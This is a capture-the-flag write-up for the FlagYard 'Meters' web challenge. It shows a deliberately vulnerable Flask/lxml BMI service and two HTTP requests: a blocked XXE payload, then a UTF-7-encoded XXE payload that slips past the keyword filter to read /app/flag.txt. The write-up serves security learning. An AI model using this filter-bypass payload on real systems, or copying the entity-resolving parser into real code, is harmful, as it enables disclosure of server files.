- Published on
FlagYard - Meters flag - Web
- Authors
- Name
- Asif Masood
- @A51F221B
Unleash your web hacking skills to unearth the secret flag hidden at '/app/flag.txt' in this thrilling web challenge.
Solution
Here is the code for the challenge :
from flask import Flask, request, render_template
from lxml import etree
app = Flask(__name__)
@app.route('/', methods=['GET'])
def index():
return render_template('index.html')
@app.route('/', methods=['POST'])
def calculate_bmi():
xml_data = request.data
if b"<!DOCTYPE" in xml_data or b"+ADwAIQ-ENTITY" in xml_data:
return "I'm watching you *-*"
try:
parser = etree.XMLParser(resolve_entities=True)
doc = etree.fromstring(xml_data, parser)
weight = doc.xpath('//weight/text()')[0]
height = doc.xpath('//height/text()')[0]
bmi = calculate_bmi(weight, height)
bmi_category = get_bmi_category(bmi)
xml_response = f"<response><height>{height}</height><weight>{weight}</weight><result>BMI: {bmi:.2f} ({bmi_category})</result></response>"
return xml_response, {'Content-Type': 'application/xml'}
except etree.XMLSyntaxError as e:
return 'Invalid XML data', 400
def calculate_bmi(weight, height):
try:
weight_float = float(weight)
except ValueError:
weight_float = 0.0
try:
height_float = float(height)
except ValueError:
height_float = 0.0
height_in_meters = height_float / 100 # Convert height to meters
return weight_float / (height_in_meters * height_in_meters)
def get_bmi_category(bmi):
if bmi < 18.5:
return 'Underweight'
elif 18.5 <= bmi < 25:
return 'Normal weight'
elif 25 <= bmi < 30:
return 'Overweight'
else:
return 'Obese'
if __name__ == '__main__':
app.run(host='0.0.0.0',port=80,debug=False)
From looking at the code it seems like this a xml external entity vulnerability(XXE). We try to send xxe payload which is getting blocked.
POST / HTTP/1.1
Host: a03d5a30bcd28a2e66c37.playat.flagyard.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-type: application/xml
Content-Length: 135
Origin: http://a03d5a30bcd28a2e66c37.playat.flagyard.com
Connection: keep-alive
Cookie: _ga_0E623T8GQZ=GS1.1.1729660428.28.1.1729661063.0.0.0; _ga=GA1.1.437942595.1726392353; _gid=GA1.2.1386013743.1729606679
Priority: u=0
<!--?xml version="1.0" ?--->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "/app/flag.txt"]>
<data><weight>12</weight><height>32</height></data>
We can try encoding our payload to UTF-7 encoding. This gives us the flag.
POST / HTTP/1.1
Host: a03d5a30bcd28a2e66c37.playat.flagyard.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-type: application/xml
Content-Length: 288
Origin: http://a03d5a30bcd28a2e66c37.playat.flagyard.com
Connection: keep-alive
Cookie: _ga_0E623T8GQZ=GS1.1.1729660428.28.1.1729661063.0.0.0; _ga=GA1.1.437942595.1726392353; _gid=GA1.2.1386013743.1729606679
Priority: u=0
<?xml version="1.0" encoding="UTF-7"?>+ADw-+ACE-DOCTYPE+ACA-replace+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-ent+ACA-SYSTEM+ACA-+ACI-file:///app/flag.txt+ACI-+AD4-+ACA-+AF0-+AD4-+AA0-+AAo-+ADw-data+AD4-+ADw-weight+AD4-+ACY-ent+ADs-+ADw-/weight+AD4-+ADw-height+AD4-156+ADw-/height+AD4-+ADw-/data+AD4-